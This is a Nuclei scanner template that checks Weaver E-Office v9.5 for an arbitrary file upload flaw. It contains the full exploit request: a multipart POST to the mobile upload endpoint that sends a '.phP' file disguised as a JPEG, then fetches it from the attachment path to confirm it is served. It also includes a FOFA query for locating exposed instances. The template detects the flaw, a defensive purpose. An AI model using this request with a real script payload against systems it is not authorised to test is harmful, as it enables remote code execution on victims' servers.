weaver-eoffice-file-upload: Weaver E-Office v9.5 - Arbitrary File Upload

id: weaver-eoffice-file-upload

info:
  name: Weaver E-Office v9.5 - Arbitrary File Upload
  author: princechaddha
  severity: high
  description: |
    Weaver E-Office version 9.5 is susceptible to an arbitrary file upload vulnerability. This flaw allows malicious actors to upload and execute arbitrary code or files without proper validation or authorization.
  reference:
    - https://github.com/RCEraser/cve/blob/main/Weaver.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="泛微-EOffice"
    product: e-office
    vendor: weaver
  tags: e-office,weaver,intrusive,file-upload,vuln

variables:
  filename: '{{rand_base(7, "abc")}}'

http:
  - raw:
      - |
        POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt

        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP"
        Content-Type: image/jpeg

        {{randstr}}
        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
        Content-Disposition: form-data; name="file"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--
      - |
        GET /attachment/{{id}}/{{filename}}.phP HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{randstr}}'

    extractors:
      - type: regex
        name: id
        part: body
        group: 1
        internal: true
        regex:
          - '\\\/attachment\\\/([0-9]+)\\\/'
# digest: 4b0a004830460221009ef29219119184c6625f5671a9a1a3cfddbae46c889340cdb23c1253a8f9424d022100846173b877cf0249757434a6d96bf07d2f6b366226babf4f8402ee84e682b4a3:922c64590222798bb761d5b6d8e72950